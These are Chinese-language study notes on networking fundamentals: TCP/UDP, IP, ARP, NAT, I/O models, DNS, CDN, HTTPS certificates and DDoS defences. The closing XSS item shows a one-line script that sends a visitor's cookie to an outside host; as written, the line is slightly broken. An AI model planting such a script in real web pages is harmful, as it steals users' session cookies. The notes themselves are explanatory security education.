- 网络节点出现两条链路时,节点需要选择方向,因此需要在这些节点进行交换。数据发生交换的时候,会先从一条链路进入交换设备,然后缓存下来,再转发(切换)到另一条路径。
- 网络中的数据是以分组或封包(Packet)的形式传输(封包交换技术)。每个封包只有资源中的一部分数据,而封包一旦遇到岔路口,就需要封包交换技术帮助每个封包选择最合理的路径。
- 封包的好处在于损坏了只需要重发坏的不用全部,类似活字印刷术。链路阻塞了部分封包可以走其他路径。
- TCP是主机到主机(所有收和发设备都是主机)的可靠协议。TCP(传输层)往上是应用层,应用很多要告知TCP是哪个应用,要通过端口号来区分。而主机到主机,需要先知道主机的网络地址(IP),所以TCP往下是网络层。而IP往下需要在设备和设备之间传输信号,所以网络层下面是链路层。最底下是物理设备等的物理层。
- 连接是传输层概念,连接是一种传输数据的行为,传输之前,建立一个连接。具体来说,数据收发双方的内存中都建立一个用于维护数据传输状态的对象,比如双方 IP 和端口是多少?现在发送了多少数据了?状态健康吗?传输速度如何?等。所以,连接是网络行为状态的记录。会话是应用层的概念,聊天窗口没关会话就还在,但长期不聊天会断开连接。在有些系统设计中,会话会自动重连(也就是重新创建连接),或者帮助创建连接。 此外,会话也负责在多次连接中保存状态,比如 HTTP Session 在多次 HTTP 请求(连接)间保持状态(如用户信息)。
- 单工(只能单向传输)、半双工(可以交替换向)、双工(可以一直双向)。TCP是双工协议。
-
TCP是可靠的,可靠性指数据保证无损传输。如果发送方按照顺序发送,然后数据无序地在网络间传递,就必须有一种算法在接收方将数据恢复原有的顺序。
数据经过拆分,然后传输,然后在目的地重组,俗称拆包。所以拆包是将数据拆分成多个 TCP 段传输。那么粘包是什么呢?有时候,如果发往一个目的地的多个数据太小了,为了防止多次发送占用资源,TCP 协议有可能将它们合并成一个 TCP 段发送,在目的地再还原成多个数据,这个过程俗称粘包。所以粘包是将多个数据合并成一个 TCP 段发送。 - TCP 为什么不一次发送完所有的数据?
- 为了稳定性,一次发送的数据越多,出错的概率越大。
- 再比如说为了效率,网络中有时候存在着并行的路径,拆分数据包就能更好地利用这些并行的路径。
- 再有,比如发送和接收数据的时候,都存在着缓冲区。缓冲区是在内存中开辟的一块区域,目的是缓冲。因为大量的应用频繁地通过网卡收发数据,这个时候,网卡只能一个一个处理应用的请求。当网卡忙不过来的时候,数据就需要排队,也就是将数据放入缓冲区。如果每个应用都随意发送很大的数据,可能导致其他应用实时性遭到破坏。
- 还有,比如内存的最小分配单位是页表,如果数据的大小超过一个页表,可能会存在页面置换问题,造成性能的损失。
总之,方方面面的原因:在传输层封包不能太大。这种限制,往往是以缓冲区大小为单位的。也就是 TCP 协议,会将数据拆分成不超过缓冲区大小的一个个部分。每个部分有一个独特的名词,叫作 TCP 段(TCP Segment)。
- MSS(Maximun Segment Size)是一个 TCP Header 中的可选项(Options),控制了 TCP 段的大小,它是一个协商字段。协议是双方都要遵循的标准,因此配置往往不能由单方决定,需要双方协商。
TCP 段的大小(MSS)涉及发送、接收缓冲区的大小设置,双方实际发送接收封包的大小,对拆包和粘包的过程有指导作用,因此需要双方去协商。
- 如果这个字段设置得非常大,可能会被拒绝。(1)因为大的 TCP 段,会降低性能,比如内存使用的性能。(2)资源的占用。一个用户占用服务器太多的资源,意味着其他的用户就需要等待或者降低他们的服务质量。(3)支持 TCP 协议工作(会帮忙拆包,本不是IP的活)的 IP 协议,工作效率会下降。
- MSS 太小的情况下,会浪费传输资源(降低吞吐量)。因为数据被拆分之后,每一份数据都要增加一个头部。如果 MSS 太小,那头部的数据占比会上升,这让吞吐量成为一个灾难。
- TCP 协议是如何恢复数据的顺序的,TCP 拆包和粘包的作用是什么?
【解析】TCP 拆包的作用是将任务拆分处理,降低整体任务出错的概率,以及减小底层网络处理的压力。拆包过程需要保证数据经过网络的传输,又能恢复到原始的顺序。这中间,需要数学提供保证顺序的理论依据。TCP 利用(发送字节数、接收字节数)的唯一性来确定封包之间的顺序关系。粘包是为了防止数据量过小,导致大量的传输,而将多个 TCP 段合并成一个发送。 - TCP 作为一个传输层协议,最核心的能力是传输。传输需要保证可靠性(保证顺序和无损),还需要控制流速(追求高吞吐量),这两个核心能力均由滑动窗口提供。
- TCP 中每个发送的请求都需要响应。如果一个请求没有收到响应,发送方就会认为这次发送出现了故障,会触发重发。
-
需要一个数据结构区分“已接收(已发送以及收到ACK)”、“已发送(未收到ACK)”、“未发送(排队中)”。如果用三个队列没必要,可以通过滑动窗口来实现。滑动窗口是 TCP 协议控制可靠性的核心。发送方将数据拆包,变成多个分组。然后将数据放入一个拥有滑动窗口的数组,依次发出,仍然遵循先入先出(FIFO)的顺序,但是窗口中的分组会一次性发送。窗口中序号最小的分组如果收到 ACK,窗口就会发生滑动;如果最小序号的分组长时间没有收到 ACK,就会触发整个窗口的数据重新发送。如图,其中如果窗口中有一个一直未收到ACK,比如4则窗口里其他567也都需要重发。
- 在 TCP 协议中,如果接收方想丢弃某个段,可以选择不发 ACK。发送端超时后,会重发这个 TCP 段。而有时候,接收方希望催促发送方尽快补发某个 TCP 段,这个时候可以使用快速重传能力。
例如段 1、段 2、段 4 到了,但是段 3 没有到。 接收方可以发送多次段 3 的 ACK。如果发送方收到多个段 3 的 ACK,就会重发段 3。这个机制称为快速重传。这和超时重发不同,是一种催促的机制。
为了不让发送方误以为段 3 已经收到了,在快速重传的情况下,接收方即便收到发来的段 4,依然会发段 3 的 ACK(不发段 4 的 ACK),直到发送方把段 3 重传。 - 窗口大小是 TCP 段的数量。实际操作中,每个 TCP 段的大小不同,限制数量会让接收方的缓冲区不好操作,因此实际操作中窗口大小单位是字节数。发送、接收窗口的大小可以用来控制 TCP 协议的流速。窗口越大,同时可以发送、接收的数据就越多,支持的吞吐量也就越大。当然,窗口越大,如果数据发生错误,损失也就越大,因为需要重传越多的数据。
举个例子:我们用 RTT 表示 Round Trip Time,就是消息一去一回的时间。假设 RTT = 1ms,带宽是 1mb/s。如果窗口大小为 1kb,那么 1ms 可以发送一个 1kb 的数据(含 TCP 头),1s 就可以发送 1mb 的数据,刚好可以将带宽用满。如果 RTT 再慢一些,比如 RTT = 10ms,那么这样的设计就只能用完 1/10 的带宽。 当然你可以提高窗口大小提高吞吐量,但是实际的模型会比这个复杂,因为还存在重传、快速重传、丢包等因素。而实际操作中,也不可以真的把带宽用完。 - TCP 最核心的价值是提供了可靠性,而 UDP 最核心的价值是灵活,你几乎可以用它来做任何事情。例如:HTTP 协议 1.1 和 2.0 都基于 TCP,而到了 HTTP 3.0 就开始用 UDP 了。
- UDP 协议不会帮助拆分数据,只能发送报文(不需要 ACK,这意味着消息发送出去成功与否 UDP 是不管的。报文是数据传输的最小单位)。之所以不用IP协议直接发数据,这是因为传输层协议在承接上方应用层的调用,需要提供应用到应用的通信——因此要附上端口号。每个端口,代表不同的应用。传输层下层的 IP 协议,承接传输层的调用,将数据从主机传输到主机。IP 层不能区分应用。
- UDP 与 TCP的区别
- 目的差异
首先,这两个协议的目的不同:TCP 协议的核心目标是提供可靠的网络传输,而 UDP 的目标是在提供报文交换能力基础上尽可能地简化协议轻装上阵。 - 可靠性差异
TCP 核心是要在保证可靠性提供更好的服务。TCP 会有握手的过程,需要建立连接,保证双方同时在线。而且TCP 有时间窗口持续收集无序的数据,直到这一批数据都可以合理地排序组成连续的结果。
UDP 并不具备以上这些特性,它只管发送数据封包(只提供checkNum校验和用于校验数据是否丢失损坏),而且 UDP 不需要 ACK,这意味着消息发送出去成功与否 UDP 是不管的。 - 连接 vs 无连接
TCP 是一个面向连接的协议,传输数据必须先建立连接。 UDP 是一个无连接协议,数据随时都可以发送,只提供发送封包的能力。 - 流控技术(Flow Control)
TCP 使用了流控技术来确保发送方不会因为一次发送过多的数据包而使接收方不堪重负。TCP 在发送缓冲区中存储数据,并在接收缓冲区中接收数据。当应用程序准备就绪时,它将从接收缓冲区读取数据。如果接收缓冲区已满,接收方将无法处理更多数据,并将其丢弃。UDP 没有提供类似的能力。 - 传输速度
UDP 协议简化,封包小,没有连接、可靠性检查等,因此单纯从传输速度上讲,UDP 更快。 - 场景差异
TCP 每个数据封包都需要确认,因此天然不适应高速数据传输场景,比如观看视频(流媒体应用)、网络游戏(TCP 有延迟)等。具体来说,如果网络游戏用 TCP,每个封包都需要确认,可能会造成一定的延迟;再比如音、视频传输天生就允许一定的丢包率;Ping 和 DNSLookup,这类型的操作只需要一次简单的请求/返回,不需要建立连接,用 UDP 就足够了。UDP 的核心价值是灵活、轻量,构造了最小版本的传输层协议。在这个之上,还可以实现连接(Connection),实现会话(Session),实现可靠性(Reliability)……因此,UDP 非常适合需要定制工具的场景。
- IP 协议接收 IP 协议上方的 Host-To-Host 协议传来的数据,然后进行拆分,这个能力叫作分片(Fragmentation)。然后 IP 协议为每个片段(Fragment)增加一个 IP 头(Header),组成一个IP 封包(Datagram)。之后,IP 协议调用底层的局域网(数据链路层)传送数据。最后 IP 协议通过寻址和路由能力最终把封包送达目的地。接下来为你讲述完整的过程。
- IP 协议和 IP 协议的工作原理。首先 IP 协议会进行分片,将上游数据拆成一个个的封包(Datagram),然后为封包增加 IP 头部。封包发送出去后,就开始了寻址过程。寻址就是找到 IP 地址对应的设备。在局域网内,如果找不到设备,就需要路由。路由就是找到数据应该往哪里发送。最后通过层层路由定位到具体的设备。
在寻址过程中,数据总是存于某个局域网中。如果目的地在局域网中,就可以直接定位到设备了。如果目的地不在局域网中,这个时候,就需再去往其他网络。路由本质是路径的选择,类似知道地址了,遇到还要选择十字路口的路径。 -
作为网络层协议的 IPv6,最核心的能力是确保数据可以从发送主机到达接收主机。因此,和 IPv4 类似,IPv6同样需要定义地址的格式,以及路由算法如何工作。
IPv6 地址太多,因此不再需要子网掩码,而是直接将 IPv6 的地址分区即可。不再只有一对一的传播(全局单播),还有本地单播、分组多播、任意播。
- 外网通过路由器接入整个公司的局域网,和路由器关联的是三台交换机,代表公司的三个部门。交换机,或者称为链路层交换机,通常工作在链路层;而路由器通常也具有交换机的能力,工作在网络层和链路层。
- 设备间通信的本质其实是设备拥有的网络接口(网卡)间的通信。为了区别每个网络接口,互联网工程任务组(IETF)要求每个设备拥有一个唯一的编号,这个就是 MAC 地址。IP可能换了位置会变,但 MAC 地址不会变。在一个局域网中,我们不可以将消息从一个接口(网卡)发送到另一个接口(网卡),而是要通过交换机。
总结下,数据的发送方,将自己的 MAC 地址、目的地 MAC 地址,以及数据作为一个分组(Packet),也称作 Frame 或者封包,发送给交换机。交换机再根据目的地 MAC 地址,将数据转发到目的地的网络接口(网卡)。 - MTU(Maximun Transmission Unit,最大传输单元)是链路层概念。MSS(Maximun Segment Size,最大段大小) 是传输层概念。
- 如果网络接口不知道目的地地址呢?这个时候,地址解析协议就开始工作了。发送接口先查询本地的 ARP 表,如果本地没有数据,会发送一个广播查询给到交换机,交换机将查询转发给所有接口。如果某个接口发现自己就是对方要查询的接口,则会将自己的 MAC 地址回传。接下来,会在交换机和发送接口的 ARP 表中,增加一个缓存条目。也就是说,接下来发送接口再次向 IP 地址 2.2.2.2 发送数据时,不需要再广播一次查询了。
- IPv4 协议因为存在网络地址耗尽的问题,不能为一个公司提供足够的地址,因此内网 IP 可能会和外网重复。NAT 技术转换的是 IP 地址,私有 IP 通过 NAT 转换为公网 IP 发送到服务器。服务器的响应,通过 NAT 转换为私有 IP,返回给客户端。通过这种方式,就解决了内网和外网的通信问题。
- 在服务端有两种 Socket 文件,每个客户端接入之后会形成一个客户端的 Socket 文件,客户端 Socket 文件的文件描述符会存入服务端 Socket 文件。通过这种方式,一个线程可以通过读取服务端 Socket 文件中的内容拿到所有的客户端 Socket。这样一个线程就可以负责响应所有客户端的 I/O,这个技术称为I/O 多路复用技术。
- 对于一个服务端程序,可以定期扫描服务端 Socket 文件的变更,来了解有哪些客户端想要连接进来。如果在服务端 Socket 文件中读取到一个客户端的文件描述符,就可以将这个文件描述符实例化成一个 Socket 对象。
- 之后,服务端可以将这个 Socket 对象加入一个容器(集合),通过定期遍历所有的客户端 Socket 对象,查看背后 Socket 文件的状态,从而确定是否有新的数据从客户端传输过来。
- 以上时刻遍历和监听 Socket 集合在 Socket 多的时候开销很大。因此通常会设计一个高效的中间数据结构(既能注册/快速插入,又能通知变更/快速查找)作为 I/O 事件的观察者,线程通过订阅 I/O 事件被动响应,这就是响应式模型。
- 流代表数据,当用户读取文件内容的时候,实际上是通过流进行读取,看上去好像从流中读取了数据,而本质上读取的是文件的数据,所以流中不一定有数据可以只是存文件读取位置指针。
为了应对频繁的字节读取,我们在内存当中设置一个 2k 大小缓冲区。这样读取 2048 次,才会真的发生一次读取。 - 缓冲区的 flip 操作:写入过程从 position = 0 开始,position 和 limit 一起自增。读取时,用flip操作切换缓冲区读写状态,position置为0一直读取到limit。读取数据完毕,用clear操作重置缓冲区状态,即position和limit均置为0,而不用真正删除缓冲区数据。
- I/O 的编程模型: BIOBIO(Blocking I/O,阻塞 I/O)、NIO(None Blocking I/O,非阻塞 IO) 和 AIO (Asynchronous I/O, 异步 I/O)。无论是哪种 I/O 模型,都要将数据从网卡拷贝到用户程序(接收),或者将数据从用户程序传输到网卡(发送)。
- 缓冲区是一种在处理 I/O 问题中常用的数据结构。
- 一方面缓冲区起到缓冲作用,在瞬时 I/O 量较大的时候,利用排队机制进行处理。
- 另一方面,缓冲区起到一个批处理的作用,比如 1000 次 I/O 请求进入缓冲区,可以合并成 50 次 I/O 请求,那么整体性能就会上一个档次。
- 缓冲区还可以减少实际对内存的诉求。这是因为使用了缓冲区和流,就不需要真的准备和请求数据大小一致的内存空间了。可以将缓冲区大小规模的数据分成多次处理完,实际的内存开销是缓冲区的大小。
- 从网卡到内核空间的这步操作,可以用 DMA(Direct Memory Access直接内存访问)技术控制。DMA 是一种小型设备,用 DMA 拷贝数据可以不使用 CPU,从而节省计算资源。从内核到用户空间这次拷贝,可以用内存映射技术,将内核空间的数据映射到用户空间。
- 域名系统本质是定位资源。互联网中有各种各样的资源,比如视频、图片、文件、网页……为了准确地定位资源,人们发明了统一资源定位符(URL,Uniform Resource Locator),这样我们就可以通过字符串定位一个互联网的资源。
- 要知道一个域名记录——域名、IP 地址和额外少量信息,并不需要大量存储空间。但是如果全世界所有的 DNS 请求都集中在少量的根服务器上,这个访问流量就会过于巨大。而且一旦发生故障,很容易导致大面积瘫痪。而且因为根服务器较少,所以如果全部都走根服务器,不同客户端距离根服务器距离不同,感受到的延迟也不一样,这样对用户来说不太友好。因此,因为流量、防止单点故障、平衡地理分布等问题,根域名服务器只是一个目录,并不提供具体的数据。
- 在上面的例子当中,每一步都有缓存的设计。浏览器会缓存 DNS,此外,操作系统、路由器、本地 DNS 服务器也会……因此,绝大多数情况,请求不会到达根 DNS 服务器。如果在某个时刻同一个区域内有一个用户触发过上述 1~8 的过程,另一个同区域的用户就可以在本地 DNS 服务器中获得 DNS 记录,而不需要再走到根 DNS 服务器。这种设计,我们称作分级缓存策略。
- DNS 记录并不仅仅只有映射 IP 一种能力,DNS 记录还可以设置网站的别名、邮件服务器、DNS 记录位置等能力。
- 和域名系统类似,内容分发网络(Content Dilivery Network,CDN)是一个专门用来分发内容的分布式应用。CDN 构建在现有的互联网之上,通过在各地部署数据中心,让不同地域的用户可以就近获取内容。这里的内容通常指的是文件、图片、视频、声音、应用程序安装包等,它们具有一个显著的特征——无状态,或者说是静态的。这些资源不像订单数据、库存数据等,它们一旦发布,就很少会发生变化。另一个显著的特征,是这些资源往往会被大量的用户需要,因此分发它们的流量成本是较高的。
- 很多大型的应用,会把 DNS 解析作为一种负载均衡的手段。当用户请求一个网址的时候,会从该网站提供的智能 DNS 中获取网站的 IP。域名系统允许网站自己为自己的产品提供 DNS 解析,通过DNS的NS实现。服务提供者提供原数据,CDN提供数据的缓存,当CDN没有缓存数据再去访问服务提供者(回原),这样能减少服务器的压力。
- 用户请求静态资源通常用自己的域名(防止跨域和一些安全问题)。为了让用户请求的是自己的网站,而使用的是 CDN 的服务,这里会使用 CNAME 让自己的域名作为 CDN 域名的一个别名。当请求到 CDN 服务的时候,会首先由 CDN 的 DNS 服务帮助用户选择一个最优的节点,这个 DNS 服务还充当了负载均衡的作用。接下来,用户开始向 CDN 节点请求资源。如果这个时候资源已经过期或者还没有在 CDN 节点上,就会从源站读取数据,这个步骤称为CDN 的回源。
CDN 回源有 3 种情况,一种是 CDN 节点没有对应资源时主动到源站获取资源;另一种是缓存失效后,CDN 节点到源站获取资源;还有一种情况是在 CDN 管理后台或者使用开放接口主动刷新触发回源。 - 流量大了CDN收费很贵,可以考虑从数据压缩、资源格式角度做一些文章。比如将图片从 jpg 格式替换为 webp 格式。
- 为了节省握手、挥手的时间。当浏览器发送一个请求到 Web 服务器的时候,Web 服务器内部就设置一个定时器。在一定范围的时间内,如果客户端继续发送请求,那么服务器就会重置定时器。如果在一定范围的时间内,服务器没有收到请求,就会将连接断开。这样既防止浪费握手、挥手的资源,同时又避免一个连接占用时间过长无法回收导致内存使用效率下降。可以利用 HTTP 协议头进行配置,比如这条请求头:
Keep-Alive: timeout=5s
- 当一个网站需要加载的资源较多时,浏览器会尝试并发发送请求(利用多线程技术)。浏览器会限制同时发送并发请求的数量,通常是 6 个,这样做一方面是对用户本地体验的一种保护,防止浏览器抢占太多网络资源;另一方面也是对站点服务的保护,防止瞬时流量过大。
在 HTTP 2.0 之后,增加了多路复用能力。和之前我们讲 RPC 框架时提到的多路复用类似,请求、返回会被拆分成切片,然后混合传输。这样请求、返回之间就不会阻塞。相当于并行的发出,互相之间不会有干扰。 - RestFul 是 3 个单词的合并缩写:Re(Representational)、st(State)、Ful(Transfer)。Restful 讲的是一套前端无状态、服务端管理状态,中间设计转化途径(请求、函数等)的架构方法。这个方法可以让前后端职责清晰,前端负责渲染, 服务端负责业务。前端不需要业务状态,只需要展示(Representation)。服务端除了关心状态(State),还要提供状态的转换(Transfer)接口。
除了约定了上述整体架构方案之外,还约束了一些实现细节,比如用名词性的接口和 HTTP 方法来设计服务端提供的接口。 - 将音视频数据进行切片,这部分能力利用现有的工具 FFmpeg 就可以轻松做到。最终会生成大量的切片文件,比如说每个 256k,以及一个目录文件 output.m3u8。
m3u8 文件是目录,它记录了每个视频切片文件(ts)对应的视频时间范围。用户播放视频的时候,会先下载 m3u8 文件。当用户调整视频播放滑块选择播放时间时,播放器就根据 m3u8 的内容下载对应的 ts 文件。
对于直播,m3u8 文件可以看作一个动态的文件,能够不断产生新的数据。因此直播技术中,可以考虑将获取 m3u8 文件设计成一个接口,不断由播放器请求新的 m3u8 文件。如果观看人数较多,可以使用 CDN 回源到流媒体服务器。 - 因为通常视频文件较大,因此在传输前通常需要压缩,播放前需要解码。视频的压缩技术并非普通的文件压缩技术,视频理解成连续播放的图片,视频的压缩算法本质上是对图片的压缩。
视频的前一个画面和后一个画面看作两张图片,这两张图片中往往只有部分内容发生了变化。另外,在连续的多张图片中,也会有重复出现的事物,比如说一座桥、一间教室都可能多次出现。因此,视频压缩可以根据这些特性进行抽象。
对视频进行压缩的时候,视频文件格式也和压缩算法息息相关,我们统称为视频的编码。视频需要编码,包括如何描述目录、如何描述切片、如何存储声音,这些都是编码要考虑的。一个完整的解决方案,我们称为一套视频的编码。比如说 H264 就是国际标准化组织在推广的一种编码格式。 - 对于一对一视频聊天,用“录制->编码->分发->回源->下载解码”的方案太长了,可以直接UDP点到点。
如果双方均在各自内网环境下,就需要第三方(自己架或付费)帮助双方的 NAT 模块设置本地数据,让双方的 NAT 模块都认为对方已经和自己发起过通信(NAT 穿透)。
多人会议可以直接采用类似直播架构的中心化服务。另一种策略就是利用边缘计算,让距离相近的参会者利用共同的离自己最近的服务器交换数据。 - 一个直播网站通常会有下面 5 个部分组成。
- 录制端:负责录制直播视频,用流的形式上传。
- 计算集群:专门负责编码上传的流数据,然后进行压缩、转码、切片等工作。
- 对象存储:存储原始视频和转码后的视频(相当于 CDN 的源,回源用)。
- CDN:将转码后的内容分发到离用户较近的节点,方便用户获取。
- 直播 App:给用户看直播时使用。
- 通常一个网站,会在自己根路径下的 robots.txt 中定义自己网页中哪些数据是可以用来爬取的。从理论上讲,如果你想爬取一个网站的数据,应该先获取它根目录下的 robots.txt 文件,查阅文件内容,看自己要爬取的数据是否被允许。
- 双方加密解密都用相同密钥的算法,我们称为对称加密算法。常用两种:数据加密标准(DES)采用的 56 位密钥,每次计算加密 64 位的数据;可以拿出一小段数据进行暴力破解,尝试所有的密钥,成功解析说明破解成功。项目中需要使用对称加密可以用高级加密标准(AES),它用 128 位密钥并设计了更难破解的算法。
- 对称加密需要为每个用户定时生成一个不同的密钥。这是因为,如果所有用户都用一个密钥,那么理论上一个用户就可以看到其他用户和网站之间的通信。
但依据现在能力生成多个密钥并不难,但如果被别人拿到密钥就可以伪装成服务器对客户端通信。因此需要将加密和解密的过程分开,所以有了非对称加密。
网站拥有私钥,用户拥有公钥,很多用户可以共用一把公钥,而只有网站才拥有私钥。公钥发送的数据必须用私钥解密, 私钥发送的数据必须用公钥解密。最常见的非对称加密算法是 RSA 算法。 - HTTPS 用非对称加密交换对称加密密钥;然后利用对称加密进行数据的传输。这样不会很耗性能。
- 给计算机一篇文章,计算机用摘要算法(主要是哈希类算法比如SHA-1)生成一个字符串,如果文章内容改变,摘要也会完全改变。无论你的文章多大,有多少字节,最终生成摘要的字节数是固定的。摘要是对原文的证明,从原文到摘要是一个不可逆的过程。所以可以用来保存用户密码之类的。不同内容生成相同摘要称为摘要碰撞。
- 如果张三将合同生成摘要,再用自己的私钥加密摘要,得到一个密文串,那么这个串就是张三对合同的数字签名(DIgital Sign)。
张三生成好数字签名,将自己的公钥、合同原文以及数字签名交给李四保管。只要张三的公钥能解开,那说明就是张三签署的合同。
但是谁来证明,张三给李四的公钥,就是张三的公钥。这就需要证书,类似公证处,公证这个公钥确实是张三的。 - 证书除了证明身份,还可以让其他人可以使用自己的公钥。一个域名证书会有一些基础信息:
- 覆盖的域名
- 证书的用途
- 签发时间
- 到期时间
- 域名方的公钥
…… - 权威机构的名称
- 权威机构的签名
- 权威机构的网址
- 浏览器拿到证书之后,会查找操作系统中,是否已经安装了证书,如果已经安装了,浏览器就会相信这个证书。如果没有就去证书网站下载证书,找它的签发方,归进行检查签发方的证书是否安装在操作系统本地,直到找到根证书。根证书的特点是,这个机构的证书没有其他机构为它签名。只要操作系统中有根证书,就值得信任。
CA 签发证书的过程,如上图左边部分:首先 CA 会把持有者的公钥、用途、颁发者、有效时间等信息打成一个包,然后对这些信息进行 Hash 计算,得到一个 Hash 值;然后 CA 会使用自己的私钥将该 Hash 值加密,生成 Certificate Signature,也就是 CA 对证书做了签名;最后将 Certificate Signature 添加在文件证书上,形成数字证书;客户端校验服务端的数字证书的过程,如上图右边部分:首先客户端会使用同样的 Hash 算法获取该证书的 Hash 值 H1;通常浏览器和操作系统中集成了 CA 的公钥信息,浏览器收到证书后可以使用 CA 的公钥解密 Certificate Signature 内容,得到一个 Hash 值 H2 ;最后比较 H1 和 H2,如果值相同,则为可信赖的证书,否则则认为证书不可信。
- DoS原理就是利用大量的流量迅速向一个网站发送出去。为了形成足够强大的流量,攻击者往往没有足够的经济实力购买机器,而是利用中病毒、木马的机器组织流量攻击。这些中病毒的机器,我们俗称“肉鸡”。顶级的黑客往往控制着大量的肉鸡,一声令下,肉鸡就开始疯狂向目标发送网络封包,直到打垮目标。因为肉鸡是分散在世界各地的,因此这种攻击我们也称为分布式拒绝服务攻击(Distributed Denial-of-Service Attack, DDoS)。
- DDoS 的种类有很多,手段也很复杂。
- 直接不停发送 Ping 消息的,利用底层的 ICMP 协议,称为ICMP 攻击;
- 走 UPD 协议的,称为UDP 洪水(UDP Flood);
- 不停利用 TCP 协议发送 SYN 消息的,也叫SYN 攻击;
- 模拟用户行为,不停发帖、浏览帖子、浏览网页、加购物车等,称为挑战黑洞攻击(Challenge Collapsar)。
- 防范措施:
- 购买了防火墙,防火墙会根据特征识别出攻击行为,通过这样的方式将攻击行为过滤掉,让系统不会因为 DDoS 而过载造成崩溃。
- 多活建设。一般是两地三机房,分别是日常生产环境、同城灾备环境和异地灾备环境,遇到 DDoS 可以考虑切换流量。
- CDN 是大量缓存节点,DDoS 攻击 CDN 的时候用不上力。
- 如果资金不足以购买服务器的小团队,可以自己实现软件防火墙。其实就是设计一台吞吐量极高的代理服务器,作为反向代理挡在所有服务前面,如果遇到 DDoS,代理服务器可以识别出一些特征并丢弃一些流量。
- 跨站脚本(Cross Site Scripting为了避免和CSS重名又叫XSS攻击),就是利用漏洞将脚本注入网页中。比如在输入框嵌入
<script>document.createElement('img').src="https://some.site.com?cookie=document.cookie"</script>
获取访问这个页面的用户cookie。